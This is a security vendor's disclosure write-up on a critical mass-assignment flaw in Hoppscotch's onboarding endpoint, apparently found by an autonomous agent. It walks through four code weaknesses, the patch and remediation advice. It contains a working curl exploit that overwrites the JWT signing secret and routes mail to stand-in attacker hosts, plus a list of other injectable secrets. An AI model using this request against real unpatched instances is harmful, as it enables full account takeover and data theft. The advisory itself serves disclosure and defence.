Kira Found a CVSS 10.0 Full Compromise in Hoppscotch: Four Weaknesses. One Exploit.
One unauthenticated HTTP request. That’s the whole attack. No login, no token, no credentials. You send a POST to a fresh Hoppscotch instance and you walk away owning the JWT signing key.
| CVE | CVE-2026-50160 |
| CVSS | 10.0 (Critical) |
| GHSA | GHSA-j542-4rch-8hwf ↗ |
| Affected | Hoppscotch self-hosted ≤ 2026.4.1 |
| Fixed | 2026.5.0 |
| Found by | Kira, Offgrid Security |
Kira was pointed at the Hoppscotch self-hosted repository. From there it ran without human guidance: enumerating endpoints, tracing data flows across files, identifying the broken trust boundary in the onboarding flow, and generating a working proof of concept against a live Docker deployment. No human told it where to look, what to test, or how to chain the weaknesses. The human role was a single review pass on the final report before disclosure, not to find the vulnerability, but to verify the finding was genuine before taking up the Hoppscotch team’s time. Everything before that review was Kira’s.
I want to walk through this one slowly, because the severity number isn’t the interesting part. The interesting part is why it sat there in the open.
Hoppscotch is open source, over 79,000 stars, self-hosted by a lot of teams who care about security. It’s an API testing tool. The users are literally people who poke at APIs for a living. Plenty of sharp eyes have read this code. The bug wasn’t buried in some abandoned corner. It was in the onboarding flow, the very first thing a fresh deployment exposes to the internet.
So why didn’t anyone catch it?
The Attack
The endpoint is POST /v1/onboarding/config. It exists to take your initial setup: OAuth providers, SMTP config, the normal first-boot stuff. An attacker sends exactly that, plus two extra keys that were never supposed to be accepted:
curl -X POST http://target:3170/v1/onboarding/config \
-H "Content-Type: application/json" \
-d '{
"VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL",
"MAILER_SMTP_ENABLE": "true",
"MAILER_SMTP_URL": "smtp://attacker.com:25",
"MAILER_ADDRESS_FROM": "attacker@evil.com",
"JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET",
"SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION"
}'
# {"token":"5d63f43c-aeda-473f-bb84-abfdd739a8a5"}
The first four fields are legitimate onboarding parameters; they have to be there to pass provider validation. JWT_SECRET and SESSION_SECRET are extras, not declared in the DTO, not supposed to reach the database. The server writes them straight to the database anyway. Decrypt the row afterward and there it is: the attacker’s secret, sitting where the real one used to be.
Before: JWT_SECRET in DB (AES-256-CBC encrypted):
5c3ddd04363604faeb24a09a...:acf5090650be46309af5633d...
After: JWT_SECRET in DB (decrypted):
ATTACKER_CONTROLLED_JWT_SECRET
Once you control JWT_SECRET, you don’t break into the application. You are the application. You forge a token for any user you want, admin included, and every authentication guard validates it happily, because it’s checking signatures against a secret you now own. The legitimate admin can reset every password in the system and it changes nothing. The attacker keeps minting valid tokens until the deployment is physically torn down and redeployed from scratch.
From there: every workspace, every collection, every team’s data. All of it readable, all of it writable, by someone who never had an account.
CVSS scored it 10.0: network vector, no privileges required, no user interaction, scope change across the entire auth system. That’s the rare clean ten.
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Publicly accessible endpoint |
| Attack Complexity | Low | Single HTTP request |
| Privileges Required | None | No authentication |
| User Interaction | None | Fully attacker-driven |
| Scope | Changed | Affects auth infrastructure across entire app |
| Confidentiality | High | All data accessible via forged tokens |
| Integrity | High | Full write access to all user resources |
| Availability | None | Service remains up |
The Timing Window
The attack window is the exact moment your instance is most exposed.
Between docker compose up and the moment you finish onboarding, usersCount === 0. That’s when the endpoint is live and ungated. Self-hosted instances are typically deployed with a public IP, configured, and then handed off to the team. That window (minutes to hours depending on how quickly the admin gets through setup) is when an attacker scanning for Hoppscotch deployments hits the onboarding endpoint first.
If they get there before you finish setup, they own the instance. If they get there after onboarding completes and re-onboarding is disabled, the check blocks them. The race window is real.
Why Four Good Engineers Would Each Sign Off on This
Here’s the part worth internalizing. Four independent weaknesses had to be present for this to work, and every single one looks reasonable in isolation. This is the anatomy of a vulnerability that passes review, because each file looks fine.
Weakness 1: The missing flag nobody wrote
In packages/hoppscotch-backend/src/main.ts:
app.useGlobalPipes(
new ValidationPipe({
transform: true,
// whitelist: true <-- MISSING
}),
);
NestJS’s ValidationPipe maps incoming request bodies to typed DTO classes. When whitelist: true is set, any property not declared in the DTO gets stripped before the object reaches the service layer. Without it, extra keys in the request body sail right through, silently, without error.
Notice what kind of mistake this is: nothing was added wrong. Something is absent. A code reviewer scans for bad lines that exist. They almost never catch the protective line that doesn’t. This single flag, by itself, would have killed the entire attack.
It isn’t there.
The fix:
app.useGlobalPipes(
new ValidationPipe({
transform: true,
whitelist: true, // Strip undeclared properties
forbidNonWhitelisted: true, // Return 400 for extra properties
}),
);
Weakness 2: The type system manufacturing false confidence
In packages/hoppscotch-backend/src/infra-config/infra-config.service.ts:
const configEntries: InfraConfigArgs[] = [
...Object.entries(dto)
.filter(([_, value]) => value !== undefined)
.map(([key, value]) => ({
name: key as InfraConfigEnum, // TypeScript cast, no runtime check
value,
})),
];
Object.entries(dto) iterates every property on the object, including the extras that leaked through from Weakness 1. The key as InfraConfigEnum cast is a TypeScript assertion with zero runtime enforcement. At compile time it reassures everyone the data is well-typed. At runtime it’s whatever the attacker sent.
The type system is doing the opposite of protecting you here: it’s manufacturing false confidence.
And because JWT_SECRET is a legitimate member of InfraConfigEnum (defined in types/InfraConfig.ts), the attacker’s key looks completely valid once it arrives. The cast succeeds. The database write proceeds.
Weakness 3: The silent default
The validateEnvValues method is supposed to sanity-check incoming config before it’s persisted. It uses a switch statement over InfraConfigEnum values. Legitimate onboarding keys like GOOGLE_CLIENT_ID and MAILER_SMTP_URL have explicit cases with validation logic.
JWT_SECRET and SESSION_SECRET have no explicit case. They fall to:
default:
break; // silently passes
No validation. No rejection. No error. Fail-open behavior, hidden in a default branch nobody thinks to audit, because the branches that do something are where attention goes.
Weakness 4: The endpoint that trusts the hardest assumption
@Controller({ path: 'onboarding', version: '1' })
@UseGuards(ThrottlerBehindProxyGuard) // rate limit only, no auth guard
export class OnboardingController { ... }
No auth guard. Just a rate limiter, and a runtime check that usersCount === 0. That is precisely the state every install sits in on day one, during the exact window it’s most exposed to the internet and least defended.
Read any one of these alone and you shrug. None of them is a vulnerability. The vulnerability exists only when all four are present simultaneously, spread across the codebase, two layers of abstraction, and the gap between what TypeScript promises and what JavaScript actually does when untrusted bytes show up.
This is not a bug a pattern-matcher can find. There’s no SQL string to flag, no eval, no dangerous function call, no obvious source-to-sink taint inside a single function. Your SAST tool walks right past it because there’s no known-bad pattern present. The danger is an emergent property: a missing constraint smeared across four locations that each, individually, pass their own review.
Traditional tooling is structurally blind to exactly this class of finding. Not bad at it. Blind to it.
A Hunch Is Not a Finding
Here’s where most tools, and frankly most humans, stop. They’d flag the missing whitelist and file a “potential mass assignment” ticket with medium confidence. A busy team would deprioritize it next to forty other maybes.
Kira didn’t stop at suspicious. It identified four independent weaknesses that combine to enable full server compromise, ran a working exploit against a live Hoppscotch AIO Docker deployment, and confirmed the secret in the database now decrypts to ATTACKER_CONTROLLED_JWT_SECRET. Before the attack: an AES-256 encrypted blob. After: the attacker’s chosen string, proven, reproducibly.
That distinction is the entire job of application security. A hunch is a hypothesis. A working proof-of-concept against a real instance is a finding, one a maintainer can’t argue with, can’t deprioritize, and patches immediately. Hoppscotch shipped the fix in 2026.5.0.
The chain from “here’s a theory” to “here’s the exploit, here’s the database row, here’s the CVE” is where false positives die and trust is earned. It’s also the part nobody wants to staff, because it’s slow, exacting, and unglamorous. This finding came from Kira, Offgrid Security’s autonomous security agent. The Hoppscotch advisory is a public record of what that looks like in practice.
The Full Blast Radius
The direct impact is JWT signing key takeover. But the same injection vector accepts any key that is a valid InfraConfigEnum value but absent from the DTO, and that list is longer than JWT_SECRET alone.
| Key | Impact |
|---|---|
JWT_SECRET | JWT signing key: forge tokens for any user |
SESSION_SECRET | Session signing key: hijack and invalidate all sessions |
GOOGLE_CLIENT_SECRET | Overwrite Google OAuth app secret |
GITHUB_CLIENT_SECRET | Overwrite GitHub OAuth app secret |
MICROSOFT_CLIENT_SECRET | Overwrite Microsoft OAuth app secret |
TOKEN_SALT_COMPLEXITY | Weaken password hashing strength |
ALLOW_SECURE_COOKIES | Downgrade cookie security flags |
RATE_LIMIT_TTL / RATE_LIMIT_MAX | Disable rate limiting entirely |
Controlling the JWT signing key isn’t just admin access. It’s permanent access. Password resets don’t help. Credential rotation doesn’t help. The only fix is a full teardown and redeploy, and if you don’t know you were compromised, you won’t do that.
Recommendations
If you self-host Hoppscotch on 2026.4.1 or earlier, stop reading and upgrade to 2026.5.0 now. The onboarding endpoint is the first door an attacker tries, and until you patch, it’s unlocked.
Beyond Hoppscotch:
- Audit your NestJS ValidationPipe configurations. The missing
whitelist: truepattern is not unique to Hoppscotch; it’s a common misconfiguration. Check every service you operate. - Rotate your secrets if your instance was ever publicly accessible before onboarding completed. Treat
JWT_SECRET,SESSION_SECRET, and all OAuth client secrets as compromised. Redeploy cleanly. - Audit your deployment window. Check logs for unexpected requests to the onboarding endpoint before your setup completed.
- Question your
default: breakswitches. Any validation switch that silently passes unknown values is a latent vulnerability waiting for a leak upstream.
Finally, a note to the Hoppscotch team: thank you for the professional response, the clean fix, and for taking responsible disclosure seriously. Patching a CVSS 10.0 finding quickly and transparently, publishing the full advisory with the root cause laid out, is exactly how this process should work. It reflects well on the project.
References
- Full advisory: GHSA-j542-4rch-8hwf ↗
- CVE-2026-50160
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- OWASP API Security 2023, API3:2023 Broken Object Property Level Authorization
- NestJS ValidationPipe: Stripping properties ↗